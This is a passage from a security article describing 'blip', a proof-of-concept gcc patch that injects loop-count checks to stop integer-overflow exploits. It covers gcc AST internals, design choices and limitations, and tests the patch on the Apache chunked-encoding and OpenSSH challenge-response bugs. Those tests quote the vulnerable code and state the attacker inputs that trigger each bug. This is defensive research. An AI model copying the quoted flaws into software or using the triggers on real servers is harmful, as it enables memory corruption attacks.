At first, a language file is processed (parsed) by a language "Front End". Whenever you invoke the gcc compiler, the compiler will decide which of the available "Front End"s is good for parsing the input files, and will execute that "Front End". The "Front End" will parse the whole input file and will convert it (using many global helper functions) to an "Abstract Syntax Tree" (AST). By doing so the "Front End" makes the original programming language transparent to the gcc "Back End". The AST as its name suggests, is a data‑structure, which resides in memory and can represent all the features of all the programming languages gcc supports.

Whenever the "Front End" finishes to parse a complete function, and converts it to an AST representation, a gcc function called rest_of_compilation is being called. This function takes down the AST output from the parser and "expands" it into a "Register Transfer Language" (RTL). The RTL, which is the "expanded" version of the AST, is then processed again and again through the many different phases of compilation.

To get a feeling for work that is done on the RTL tree, a subset list of the different phases is:

‑ Jump Optimization

‑ CSE (Common sub‑expression elimination)

‑ Data flow analysis

‑ Instruction combination

‑ Instruction scheduling

‑ Basic block reordering

‑ Branch shortening

‑ Final (code generation)

I've selected only a few phases out of the big list of phases to demonstrate the work done on RTL. The full list is quite more extensive and can be found in the gcc internal docs (see "Getting started" for link to docs). The nice thing about RTL is that all those phases are performed independent of the target machine.

The last phase which is performed on the RTL tree, will be the "final" phase. At that point the RTL representation is ready to be substituted by actual assembly instructions that deal with the specific architecture. This phase is possible due to the fact that the gcc maintains an abstract definition of "machine modes". A set of files that can describe each supported machine hardware, and instruction set in a way that makes it possible to translate RTL to the appropriate machine code.

‑‑‑‑‑‑[ 4.3.2 ‑ The AST

I will now focus on the AST, which I will refer to as the "TREE". This TREE is the output of the front end parsing of a language file. The TREE contains all the information existing in the source file which is required for code generation (e.g. declaration, functions, types..). In addition the TREE also includes some of the attributes and implicit transformations that the compiler may choose to perform (e.g. type conversion, auto variables..).

Understanding the TREE is critical for creating this patch. Fortunately the TREE is well structured and even if its object‑oriented‑likeprogramming‑using‑c is overwhelming at first, after a few debugging sessions, every thing starts to fall in place.

The core data structure of the TREE is the tree_node (defined in tree.h). This structure is actually one big union that can represent any piece of information. The way it works is that any tree node has its code, which is accessible using "TREE_CODE (tree node)". Using this code the compiler may know which of the union fields are relevant for that node (e.g. A constant number will have the TREE_CODE() == INTEGER_CST, therefore the node‑>int_cst is going to be the union member that will have the valid information.). As a note, I will say that there is no need to access any of the tree node structure fields directly. For each and every field in that structure there is a dedicated macro that uniforms the access to that field. In most cases this macro will contain some additional checks of the node, and maybe even some logic to execute whenever access to that field is made (e.g. DECL_RTL which is responsible to retrieve the RTL representation of a TREE node, will call make_decl() if no RTL expression exists for that node).

So we know about the TREE and tree node, and we know that each node can represent many different things, what else is important to know about the tree nodes? Well, one thing is the way tree nodes are linked to each other. I will try to give a few sample scenarios that represent most of the cases where one tree node is related to another one.

Reference I ‑ Chains:

A chain is a relation that can be best described as a list. When the compiler needs to maintain a list of nodes *that don't have any linkrelated information*, it will simply use the chain field of the tree node (accessible using the TREE_CHAIN() macro). An example for such a case is the list of statements nodes in a function body. For each statement in a COMPOUND_STMT list there is a chained statement that represents the following statement in the code.

Reference II ‑ Lists:

Whenever simple chaining is not enough, the compiler will use a special tree node code of TREE_LIST. TREE_LIST allows the compiler to save some information attached to each item on the list. To do so each item in the list is represented by three tree nodes. The first tree node will have the code TREE_LIST. This tree node will have the TREE_CHAIN pointing to the next node in the list. It will have the TREE_VALUE pointing to the actual tree node item, and it will also have TREE_PURPOSE which may point to another tree node that holds extra information about this item meaning in the list. As an example the tree node of code CALL_EXPR, will have a TREE_LIST as its second operand. This list will represent the parameters sent to the called function.

Reference III ‑ Direct reference:

Many of the tree node fields are tree nodes themselves. It may be confusing at first glance, but it will be clear soon enough. A few common examples are:

‑ TREE_TYPE this field represent the type of a tree node. For example each tree node with expression code must have a type.

‑ DECL_NAME whenever some declaration tree nodes have a name, it will not exist as a string pointed directly by the declaration tree node. Instead using the DECL_NAME one can get access to another tree node of code IDENTIFIER_NODE. The latter will have the requested name information.

‑ TREE_OPERAND() One of the most commonly used references. Whenever there is a tree node, which has a defined number of "child" tree nodes, the TREE_OPERAND() array will be used (e.g. tree node of code IF_STMT will have TREE_OPERAND(t,0) as a COND_EXPR node, TREE_OPERAND(t,1) as the THEN_CLAUSE statement node, and TREE_OPERAND(t,2) as the ELSE_CLAUSE statement tree node.)

Reference IV ‑ Vectors:

Last and quite less common is the tree node vector. This container, which is accessible using the TREE_VEC_XXX macros, is used to maintain varying size vectors.

There is a lot more to know about AST tree nodes for which the gcc internal documents may have better and more complete explanations. So I will stop my AST overview here with a suggestion to read the docs.

In addition to storing the abstract code in the AST. There are several global structures, which are being extensively used by the compiler. I will try to name a few of those global structures that I found very useful to checkout while doing some debugging sessions.

‑ current_stmt_tree : provides the last added stmt to the tree , last expression type, and the expression file name.

‑ current/global_binding_level : provides binding information, such as defined names in a particular binding level, and block pointers

‑ lineno : var containing the line number that is parsed at the moment ‑ input_filename: file name that is parsed at the moment

‑‑‑‑‑‑[ 4.3.3 ‑ Getting started

If you want to experience the AST tree yourself, or to dig into the patch details, it is recommended to read this getting started section. You are safe to continue to the next section if you do not wish to do that.

First thing first, get the compiler source code. The version I used as base for this patch is gcc 3.2. For information about download and build of the compiler please check http://gcc.gnu.org/install/

(Please remember to specify the compiler version you wish to download. The default version may be the last‑release, which was not checked against this patch)

Next thing you may want to do is to sit down and carefully read the gcc internal documents. ( For the sake of this patch, you should be familiar with the first 9 sections of this document ) The document is located http://gcc.gnu.org/onlinedocs/gccint/

Assuming you read the document and you want to go to the next level, I recommend to have a set of simple programs to be used as compiler language file, your debugger of choice, and start debugging the compiler. Some good break points that you might find useful are:

‑ add_stmt : called whenever the parser decides to add a new statement into the AST. This break point may be very handy when it is not so clear how a specific tree node is being created. By breaking on add_stmt and checking up the call stack, it is easy to find more interesting places to dig into.

‑ rest_of_compiliation : called whenever a function was completely converted into AST representation. If you are interested to check out how the AST is turning into RTL this is a good place to start.

‑ expand_stmt: called each time a statement is about to be expanded into RTL code. Setting a Break point here will allow you to easily investigate the structure of an AST tree node without the need to go through endless nesting levels.

<TIP> Since the gcc compiler will end up calling the cc1 compiler for *.c files, you may want to debug cc1 in the first place, and save yourself the trouble of making your debugger follow the child process of gcc </TIP>

Soon enough you will need some reference for all the little macros used while messing with the AST tree. For that I recommend getting familiar with the following files:

gcc3.2/gcc/gcc/tree.h

gcc3.2/gcc/gcc/tree.def

‑‑‑‑[ 4.4 ‑ Patch Goals

Like every project in life, you have to define the project goals. First you better know if you reached your goals. Second, which is not less important, since resources are limited, it is much easier to protect yourself from a never‑ending project.

The goals of this patch were above all to be a proof of concept for the suggested integer exploits prevention scheme. Its therefore *not* a goal to solve all current and future problems in the security world, or even not to solve all exploits that have integer input related to them.

The second goal of this implementation is to keep the patch simple. Since the patch is only a proof of concept, we preferred to keep things simple and avoid fancy solutions if they required more complex code.

Last but not least the third goal is to make this patch usable. That means easy to use, intuitive, and able to protect real world packages bigger then 30 lines of code :).

‑‑‑‑[ 4.5 ‑ Patch overview

The patch will introduce a new flag to the gcc compiler named "blip". By compiling a file using the ‑fblip flag, the compiler generates code that will check for the "blip" condition for every for/while loop and for every call to a "loop like" function.

A "loop like" function is any function that is a synonym for a loop. (e.g. memcpy, bcopy, memset, etc.).

The generated check, will evaluate if a loop is about to execute a "Huge" number of times. (defined by LIBP_MAX). Each time a loop is about to execute, the generated code verifies that the loop limit is smaller than the threshold. If an attempt to execute a loop more than the threshold value is identified, the __blip_violation() handler will be called instead of the loop, leading to a controlled termination of the processes.

The current version of the patch will support only the C language. This decision was made in order to keep this first version of the patch small and simple. Also, all the vulnerable packages that this patch was planned to protect are written in C. So I thought that having only C is a good start.

‑‑‑‑‑‑[ 4.5.1 ‑ Tactics

Having the above goals in mind, I had to take some decisions during the development of the patch. One of the problems I had was to choose the right place to hack the code. There are quite a lot of options available, and I will try to give some pros and cons for each option, hoping it will help others to make educated decisions once they encounter the same dilemmas.

The first thing that I had to decide was the program representation I want to modify. The process of compilation looks more or less like that:

ProcessingProgram representation

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Programming =>1. Source code

Parsing => 2. AST

Expanding => 3. RTL

"final" =>4. Object file

So what is the right place to implement the checks?

The following table lists some of the pros and cons for modifying the code at different stages during the compilation process.

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Stage |Pros | Cons |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| AST |‑ Target independent |‑ No access to hardware | | |‑ Language independent | Registers, instructions |

| |‑ Optimization independent | |

| |‑ High level Access to | |

| | language "source" | |

| |‑ Intuitive to add code | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| RTL |‑ Target independent |‑ Low level "source" access| | |‑ Language independent |‑ May interfere with | | |‑ Full access to target | optimization |

| | hardware |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Object file |‑ Language independent |‑ Hardware dependent |

| | Lack syntax information |

| | Modification of flow may |

| | break compiler logic |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After some thought I decided to modify the AST representation. It seems to be the most natural place to do such a change. First, the patch doesn't really need to access low‑level information such as hardware registers, or even virtual registers allocations. Second, the patch can easily modify the AST to inject custom logic into it, while doing the same at the RTL level will require major changes, which will hurt the abstraction layers defined in gcc.

Solving my second dilemma was not as easy as the first one. Now that AST patching was the plan I had in mind, I needed to find the best point in time in which I will examine the existing AST tree, and emit my checks on it. I had three possible options.

1) Add a call to my function from the parser code of some language (which happened to be C). By doing so, I have the chance to evaluate and modify the tree "on the fly" and therefore save an extra pass over the tree later. A clear disadvantage is the patch becomes language dependent.

2) Wait until the whole function is parsed by the front‑end. Then go through the created tree, before converting it to RTL and find the places, which require checks, and patch them. An advantage of this method is that the patch is no longer language dependent. On the other hand, implementing a "tree walk" that will scan a given tree, is quite complex and error prone task, which will go against the goals we defined above such as simple, and useful patch.

3) Patch the AST tree *while* it is being converted into RTL. Although this option looks like the most advantageous (language independent, no need for a tree walk) it still has a major disadvantage which is the uncertainty of being able to *safely* modify the AST tree at that time. Since the RTL "conversion machine" is already processed some parts of the AST tree, it might be dangerous to patch the AST tree at that time.

Finally, I have decided that the goal of making this patch simple, implies selecting the first option of calling my evolution functions from the C parser.

I've placed the hook into my patch in three locations. Two calls inside the c‑parse.y (main parser file) code allowing me to examine the FOR and WHILE loops and to modify them on the fly. The third call is located outside the parser since catching all call locations was quite tricky to do from within the parser. Basically since in many different situations a CALL_EXPR is created hooking all of them seems to be non‑natural. The alternative that I found which seems to work just fine for me, was to add a call to my function inside the build_function_call() within the ctypeck.c file (C compiler type‑checking expression builder).

The main entry into the patch is the blip_check_loop_limit() function which will do all the work of checking if a loop seems to be relevant, and to call the right function that will do the actual patching of the AST tree.

In order for a loop to be considered it needs to look like a count loop. The blip patch will therefore try to examine each loop and decide if the loop seems to be a counter loop (exact criteria for examining loops will follow). For each count loop an attempt is made to detect the "count" variable and the "limit" variable.

Example of simple loops and their variables:

‑ for(i=0; i < j; i+=3}{;} ==> Increment loop, i = count j = limit. ‑ while(len‑‑){;} ==> decrement loop, len = counter ; 0 = limit.

The current implementation considers a loop as count loop only if: ‑ 2 variables are detected in the loop condition (sometimes one of them can be a constant)

‑ one of those variables is modified in the loop condition or in the loop expr

‑ *only one* variable is modified

‑ the modification is of the increment / decrement style (++,‑‑,+=,‑=)

The code, which examines the loop, is executed in blip_find_loop_vars() and it may be improved in the future to identify more loops as count loops.

After detecting the loop direction, the loop count and the limit, the AST tree is modified to include a check that verifies that a big loop is reported as a blip violation.

In order to keep the patch simple and risk free, any time a loop seems too complex to be understood as count loop, the loop will be ignored (Using the blip warning flags its possible to list the ignored loops, and the reason why they were ignored).

‑‑‑‑‑‑[ 4.5.2 ‑ Modifying the AST

When you start patching complex applications such as gcc, you want to make sure you are not causing any "butterfly effect" while modifying memory resident structures on the fly. To save yourself from a lot of trouble I will suggest avoiding modification to any structure directly. But instead use the existing functions that the language parser would have used if the code you want to "inject" was found in the original source code. Following this layer of encapsulation will save you from making mistakes such as forgetting to initialize a structure member, or not updating another global variable or flag.

I found it very helpful to simulate the code injection by actually modifying the source code, and tracing the compiler as it builds the AST tree, and later mimicking the code creation by using the same functions used by the parser to build my new check code. This way I was able to eliminate the need of "dirty" access to the AST tree, which I was quite afraid of while starting the modification.

Knowing the right set of functions to use to inject any code I would like, the question became what would I really like to inject? The answer differs a bit between the different loop types. In the case of a for‑loop the blip patch will add the check expression as the last expression in the FOR_INIT statement. In the case of the while loop the blip patch will add the check expression as a new statement before the while loop. In the case of a function call to a "loop like" function such as memcpy, the blip patch will replace the whole call expression with a new condition expression, having the __blip_violation on the "true" side, and the original call expression on the "false" side.

Let's illustrate the last paragraph with some samples..

Before blip

‑‑‑‑‑‑‑‑‑‑‑

1) for(i=0;i< len;i++){}

2) While(len‑‑){}

3) p = memcpy(d,s,l)

After blip

‑‑‑‑‑‑‑‑‑‑

1) for(i=0,<blip_check>?__blip_violation:0;i<len;i++){}

2) <blip_check>?__blip_violation:0;

while(len‑‑){}

3) p = <blip_check>?__blip_violation : memcpy(d,s,l)

The <blip_check> itself is quite simple. If the loop is incremental (going up) then the check will look like: (limit > count && limit‑count > max). If the loop is going down the check will be (count > limit && count ‑ limit > max). There is a need to check the delta between the count and the limit and not only the limit since we don't want to trigger false positive in a loop such as:

len = 0xffff0000;

for(i=len‑20;i < len; i++){};

The above example may look at first like an integer exploit. But it may also be a legitimate loop which simply happens to iterate over very high values.

The function responsible for building the <blip_check> is blip_build_check_exp(), and its the code is self‑explanatory, so I will not duplicate the function comments here.

One of the difficulties I had while injecting the blip code, was the injection of the __blip_violation function into the target file. While creating the <blip_check> I simply created expressions which reference the same tree nodes I found in the loop condition or as parameter to the loop like function call. But the __blip_violation function didn't exist in the name space of the compiled file, and therefore trying to reference it was a bit trickier, or so I thought. Usually when a CALL_EXPR is created, a FUNCTION_DECL is identified (as one of the available function visible to the caller) and an ADDR_EXPR is later created to express the address of the declared function. Since __blip_violation was not declared , attempts to execute lookup_name() for that name will yield an empty declaration.

Fortunately gcc was kind / forgiving enough, and I was able to build a FUNCTION_DECL and reference it leaving all the rest of the work for the RTL to figure out. The code, which builds the function call, is located in blip_build_violation_call(). The function body of __blip_violation is located in the libgcc2.c (Thanks for ProPolice for giving an example..).

<DISCLAIMER> All the modification above is being done in the spirit of proof of concept for the blip integer exploits detection. There is no warranty that the patch will actually increase the protection of any system, nor that it will keep the compiler stable and usable (while using ‑fblip), nor that any of the coding / patching recommendation made in the article will make any sense to the hardcore maintainer of the gcc project :>.</DISCLAIMER>

‑‑‑‑[ 4.6 ‑ Limitations

This section summarizes the limitations known to me at the time of writing this article. I will start from the high‑level limitations going to the low level technical limitations.

‑ The first limitation is the coverage of the patch. The patch is designed to stop integer vulnerabilities that yield big loops. Other vulnerabilities that are due to bad design or lack of integer validation will not be protected.

For example the following code is vulnerable but cannot be protected by the patch:

void foo(unsigned int len,char* buf){

chardst[10];

if(len < 10){

strcpy(dst,buf);

}

}

‑ Sometimes a generic integer overflow done "by the book" will not be detected. An example for such a case will be the xdr_array vulnerability. The problem is due to the fact that the malloc function was called with the overflowed expression of *two* different integer input, while the blip protection can handle only a single big count loop. When looking at the xdr_array loop, we can see that it will be easy for the attacker to supply such input integers, that will overflow the malloc expression, but will still keep the loop count small.

‑ Some count loops will not be considered. One example is a complex loop condition and it is non trivial to identify the count loop. Such loops must be ignored, or otherwise false positives may occur which may lead to undefined execution.

‑ [Technical limitation] The current version is designed to work only with C language.

‑ [Technical limitation] The current version will not examine embedded assembly code which may include "loop" instructions. Therefore allowing integer overflow exploitation to go undetected.

‑‑[ 5 ‑ References

[1] StackGuard

Automatic Detection and Prevention of Stack Smashing Attacks http://www.immunix.org/StackGuard/

[2] ProPolic

GCC extension for protecting applications from stack‑smashing attacks http://www.trl.ibm.com/projects/security/ssp/

[3] GCC

GNU Compiler Collection

http://gcc.gnu.org

[4] noir

Smashing The Kernel Stack For Fun And Profit

Phrack Issue #60, Phile 0x06 by noir

[5] Halvar Flake

Third Generation Exploits on NT/Win2k Platforms http://www.blackhat.com/presentations/bh‑europe‑01/halvar‑flake/bh‑

europe‑01‑halvarflake.ppt

[6] MaXX

Vudo malloc tricks

Phrack Issue 0x39, Phile #0x08

[7] Once upon a free()..

Phrack Issue 0x39, Phile #0x09

[8] Aleph One

Smashing The Stack For Fun And Profit

Phrack Issue 0x31, Phile #0x0E

‑‑[ 6 ‑ Thanks

I want to thanks my team for helping me in the process of creating the paper. Thank you Monty, sinan, yona, shok for your helpful comments and ideas for improving the paper. If you think the English in this paper is broken imagine what my team had to go through :>. Without you guys I would never made it.

Thanks to anonymous :> for read proofing the paper, and providing helpful technical feedback and reassurance.

‑‑[ 7 ‑ Appendix A ‑ Real life examples

Having the patch ready, I wanted to give it a test drive on one of the known and high profile vulnerabilities. The criteria used for checking the patch was:

‑ The package should be compiled successfully with the patch ‑ The patch should be able to protect the package against exploitation of the known bugs

I've selected to test the patch on Apache httpd and the OpenSSH packages. Since both packages are: high profile, have vulnerabilities that the patch should is expected to protect against (in vulnerable version), and they are big enough to "qa" the patch a little bit.

The protection test was proven to be successful:), and the vulnerable version compiled with ‑fblip proved to be non exploitable.

The following section explains how to compile the packages with the blip patch. We will show the output assembly generated before / after the patch for the code which was enabling the exploit to overflow the program buffers.

‑‑‑‑[ 7.1 ‑ Apache Chunked encoding

‑‑[ Vulnerability info

Just to make sure that all are in sync with the issue of the apache chunked‑encoding vulnerability I will list part of the vulnerable code followed by some explanation.

Code: Apache src/main/http_protocol.c : ap_get_client_block()

01 len_to_read = get_chunk_size(buffer);

<some code here...>

02 r‑>remaining = len_to_read;

<some code here...>

03 len_to_read = (r‑>remaining > bufsiz) ? bufsiz : r‑>remaining; 04 len_read = ap_bread(r‑>connection‑>client, buffer , len_to_read);

The vulnerability in this case allows a remote attacker to send a negative chunk length. Doing so will bypass the check at line 3, and will end up with calling the ap_bread() with a huge positive number.

‑‑[ Testing patch

To compile the apache httpd with the ‑fblip enabled, one may edit the file src/apaci and add the following line at the EOF "echo '‑fblip'".

Any attempt to send a negative chunk length after compiling apache httpd with the blip patch will end up with the httpd executing the __blip_violation.

According to the blip theory, the attack should trigger some kind of a loop. We can see at line 4 of the listed code that a call is made to the ap_bread() function. So if the theory is correct we are supposed to find a loop inside that function.

/*

* Read up to nbyte bytes into buf.

* If fewer than byte bytes are currently available, then return those. * Returns 0 for EOF, ‑1 for error.

* NOTE EBCDIC: The readahead buffer _always_ contains *unconverted* data.

* Only when the caller retrieves data from the buffer (calls bread) * is a conversion done, if the conversion flag is set at that time. */

API_EXPORT(int) ap_bread(BUFF *fb, void *buf, int nbyte)

{

int i, nrd;

if (fb‑>flags & B_RDERR)

return ‑1;

if (nbyte == 0)

return 0;

if (!(fb‑>flags & B_RD)) {

/* Unbuffered reading. First check if there was something in the

* buffer from before we went unbuffered. */

if (fb‑>incnt) {

i = (fb‑>incnt > nbyte) ? nbyte : fb‑>incnt;

#ifdef CHARSET_EBCDIC

if (fb‑>flags & B_ASCII2EBCDIC)

ascii2ebcdic(buf, fb‑>inptr, i);

else

#endif /*CHARSET_EBCDIC*/

memcpy(buf, fb‑>inptr, i);

fb‑>incnt ‑= i;

fb‑>inptr += i;

return i;

}

i = read_with_errors(fb, buf, nbyte);

#ifdef CHARSET_EBCDIC

if (i > 0 && ap_bgetflag(fb, B_ASCII2EBCDIC)) ascii2ebcdic(buf, buf, i);

#endif /*CHARSET_EBCDIC*/

return i;

}

nrd = fb‑>incnt;

/* can we fill the buffer */

if (nrd >= nbyte) {

#ifdef CHARSET_EBCDIC

if (fb‑>flags & B_ASCII2EBCDIC)

ascii2ebcdic(buf, fb‑>inptr, nbyte);

else

#endif /*CHARSET_EBCDIC*/

memcpy(buf, fb‑>inptr, nbyte);

fb‑>incnt = nrd ‑ nbyte;

fb‑>inptr += nbyte;

return nbyte;

}

if (nrd > 0) {

#ifdef CHARSET_EBCDIC

if (fb‑>flags & B_ASCII2EBCDIC)

ascii2ebcdic(buf, fb‑>inptr, nrd);

else

#endif /*CHARSET_EBCDIC*/

memcpy(buf, fb‑>inptr, nrd);

nbyte ‑= nrd;

buf = nrd + (char *) buf;

fb‑>incnt = 0;

}

if (fb‑>flags & B_EOF)

return nrd;

/* do a single read */

if (nbyte >= fb‑>bufsiz) {

/* read directly into caller's buffer */

i = read_with_errors(fb, buf, nbyte);

#ifdef CHARSET_EBCDIC

if (i > 0 && ap_bgetflag(fb, B_ASCII2EBCDIC)) ascii2ebcdic(buf, buf, i);

#endif /*CHARSET_EBCDIC*/

if (i == ‑1) {

return nrd ? nrd : ‑1;

}

}

else {

/* read into hold buffer, then memcpy */

fb‑>inptr = fb‑>inbase;

i = read_with_errors(fb, fb‑>inptr, fb‑>bufsiz);

if (i == ‑1) {

return nrd ? nrd : ‑1;

}

fb‑>incnt = i;

if (i > nbyte)

i = nbyte;

#ifdef CHARSET_EBCDIC

if (fb‑>flags & B_ASCII2EBCDIC)

ascii2ebcdic(buf, fb‑>inptr, i);

else

#endif /*CHARSET_EBCDIC*/

memcpy(buf, fb‑>inptr, i);

fb‑>incnt ‑= i;

fb‑>inptr += i;

}

return nrd + i;

}

We can see in the code several possible execution flows. Each one of them includes a "loop" that moves all the data into the buf parameter. If the code supports CHARSET_EBCDIC then the ascii2ebdcdic function executes the deadly loop. On other normal cases, the memcpy function implements the deadly loop.

Following is the assembly code generated for the above function.

.typeap_bread,@function

ap_bread:

pushl%ebp

movl%esp, %ebp

subl$40, %esp

movl%ebx, ‑12(%ebp)

movl%esi, ‑8(%ebp)

movl%edi, ‑4(%ebp)

movl8(%ebp), %edi

movl16(%ebp), %ebx

testb$16, (%edi)

je.L68

movl$‑1, %eax

jmp.L67

.L68:

movl$0, %eax

testl%ebx, %ebx

je.L67

testb$1, (%edi)

jne.L70

cmpl$0, 8(%edi)

je.L71

movl8(%edi), %esi

cmpl%ebx, %esi

jle.L72

movl%ebx, %esi

.L72:

cmpl$268435456, %esi ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jbe.L73

movl%esi, (%esp) Blip Check (Using esi)

call__blip_violation

jmp.L74 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.L73:

movl4(%edi), %eax

movl12(%ebp), %edx

movl%edx, (%esp)

movl%eax, 4(%esp)

movl%esi, 8(%esp)

callmemcpy

.L74:

subl%esi, 8(%edi)

addl%esi, 4(%edi)

movl%esi, %eax

jmp.L67

.L71:

movl%edi, (%esp)

movl12(%ebp), %eax

movl%eax, 4(%esp)

movl%ebx, 8(%esp)

callread_with_errors

jmp.L67

.L70:

movl8(%edi), %edx

movl%edx, ‑16(%ebp)

cmpl%ebx, %edx

jl.L75

cmpl$268435456, %ebx ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jbe.L76

movl%ebx, (%esp) Blip check (using ebx)

call__blip_violation

jmp.L77 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.L76:

movl4(%edi), %eax

movl12(%ebp), %edx

movl%edx, (%esp)

movl%eax, 4(%esp)

movl%ebx, 8(%esp)

callmemcpy

.L77:

movl‑16(%ebp), %eax

subl%ebx, %eax

movl%eax, 8(%edi)

addl%ebx, 4(%edi)

movl%ebx, %eax

jmp.L67

.L75:

cmpl$0, ‑16(%ebp)

jle.L78

cmpl$268435456, ‑16(%ebp) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jbe.L79

movl‑16(%ebp), %eax Blip check

movl%eax, (%esp) (using [ebp‑16])

call__blip_violation

jmp.L80 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.L79:

movl4(%edi), %eax

movl12(%ebp), %edx

movl%edx, (%esp)

movl%eax, 4(%esp)

movl‑16(%ebp), %eax

movl%eax, 8(%esp)

callmemcpy

.L80:

subl‑16(%ebp), %ebx

movl‑16(%ebp), %edx

addl%edx, 12(%ebp)

movl$0, 8(%edi)

.L78:

testb$4, (%edi)

je.L81

movl‑16(%ebp), %eax

jmp.L67

.L81:

cmpl28(%edi), %ebx

jl.L82

movl%edi, (%esp)

movl12(%ebp), %eax

movl%eax, 4(%esp)

movl%ebx, 8(%esp)

callread_with_errors

movl%eax, %esi

cmpl$‑1, %eax

jne.L85

jmp.L91

.L82:

movl20(%edi), %eax

movl%eax, 4(%edi)

movl%edi, (%esp)

movl%eax, 4(%esp)

movl28(%edi), %eax

movl%eax, 8(%esp)

callread_with_errors

movl%eax, %esi

cmpl$‑1, %eax

jne.L86

.L91:

cmpl$0, ‑16(%ebp)

setne%al

movzbl%al, %eax

decl%eax

orl‑16(%ebp), %eax

jmp.L67

.L86:

movl%eax, 8(%edi)

cmpl%ebx, %eax

jle.L88

movl%ebx, %esi

.L88:

cmpl$268435456, %esi ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jbe.L89

movl%esi, (%esp) Blip check (using esi)

call__blip_violation

jmp.L90 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.L89:

movl4(%edi), %eax

movl12(%ebp), %edx

movl%edx, (%esp)

movl%eax, 4(%esp)

movl%esi, 8(%esp)

callmemcpy

.L90:

subl%esi, 8(%edi)

addl%esi, 4(%edi)

.L85:

movl‑16(%ebp), %eax

addl%esi, %eax

.L67:

movl‑12(%ebp), %ebx

movl‑8(%ebp), %esi

movl‑4(%ebp), %edi

movl%ebp, %esp

popl%ebp

ret

One can notice that before any call to the memcpy function (which is one of the "loop like" functions), a little code was added which calls __blip_violation in the case the 3rd parameter of memcpy is bigger than blip_max.

Another thing worth mentioning is the way the injected check is accessing this 3rd parameter. In the first block of the injected code the parameter is stored at the esi register, at the second block the parameter is stored in the ebx register and in the third block the parameter is stored on the stack at ebp‑16. The reason for that is very simple. Since the modification of the code was done at the AST tree, and since the patch was using the exact same tree node that was used in the call expression to memcpy, the RTL generated the same code for both the call expression and the check expression.

Now lets go back to the ap_bread function. And lets assume that the CHARSET_EBCDIC was indeed defined. In that case the ascii2ebcdic function would have being the one to have the "vulnerable" loop. Therefore we hope that the blip patch would check the loop in that function as well.

The following is the ascii2ebcdic code taken from src/ap/ap_ebcdic.c

API_EXPORT(void *)

ascii2ebcdic(void *dest, const void *srce, size_t count)

{

unsigned char *udest = dest;

const unsigned char *usrce = srce;

while (count‑‑ != 0) {

*udest++ = os_toebcdic[*usrce++];

}

return dest;

}

Result of compiling the above function with the ‑fblip

.typeascii2ebcdic,@function

ascii2ebcdic:

pushl%ebp

movl%esp, %ebp

pushl%edi

pushl%esi

pushl%ebx

subl$12, %esp

movl16(%ebp), %ebx

movl8(%ebp), %edi

movl12(%ebp), %esi

cmpl$0, %ebx ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jbe.L12

cmpl$268435456, %ebx

jbe.L12 Blip check

movl%ebx, (%esp)

call__blip_violation

.L12: ‑‑‑‑‑‑‑‑‑‑‑

decl%ebx

cmpl$‑1, %ebx

je.L18

.L16:

movzbl(%esi), %eax

movzblos_toebcdic(%eax), %eax

movb%al, (%edi)

incl%esi

incl%edi

decl%ebx

cmpl$‑1, %ebx

jne.L16

.L18:

movl8(%ebp), %eax

addl$12, %esp

popl%ebx

popl%esi

popl%edi

popl%ebp

ret

.Lfe2:

While processing the ascii2ebcdic function, the blip patch identified the while loop as a count‑loop. The loop condition supplies all the information required to create a <blip_check>. First we identify the variables of the loop. In this case "count" is one var and the constant "0" is the second one. Looking for variable modification, we can see that "count" is decremented in the expression "count‑‑". Since "count" is the only modified variable we can say that "count" is the count‑variable and the constant 0 is the limit‑variable. We can also say that the loop is a decrement‑loop since the modification operation is "‑‑". The check therefore will be (count > limit && count ‑ limit > MAX_BLIP). Looking at the above assembly code, we can see that the loop count is stored in the ebx register (Its easy to spot this by looking at the code below label 12 (L12). This code represent the while condition. It first decrements ebx and later compares it with the loop constant). The <blip_check> therefore will utilize the ebx register for the check.

‑‑‑‑[ 7.2 ‑ OpenSSH auth

‑‑[ Vulnerability info

The OpenSSH Vulnerability is an example of an integer overflow bug, which results in a miscalculated allocation size. The following is a snippet of the vulnerable code:

OpenSSH auth2‑chall.c : input_userauth_info_response()

01 nresp = packet_get_int();

<some code here ..>

02 response = xmalloc(nresp * sizeof(char*));

03 for(i = 0; i < nresp; i++)

04response[i] = packet_get_string(NULL);

At line 01 the code reads an integer into an unsigned variable. Later the code allocates an array with nresp entries. The problem is that nresp * sizeof(char*) is an expression that may overflow. Therefore sending nresp bigger than 0x40000000 allows allocation of a small buffer that can be later overflowed by the assignment in line 04.

‑‑[ Testing the patch

To compile the OpenSSH package with the ‑fblip enabled, one may add fblip to the CFLAGS definition at Makefile.in (i.e. CFLAGS=@CFLAGS@ fblip)

Any attempt to send a large number of responses after compiling OpenSSH with the blip patch will end up with OpenSSH executing the __blip_violation.

The following is snippet of the vulnerable function.

static void

input_userauth_info_response(int type, u_int32_t seq, void *ctxt) {

Authctxt *authctxt = ctxt;

KbdintAuthctxt *kbdintctxt;

int i, authenticated = 0, res, len;

u_int nresp;

char **response = NULL, *method;

<omitted code>

nresp = packet_get_int();

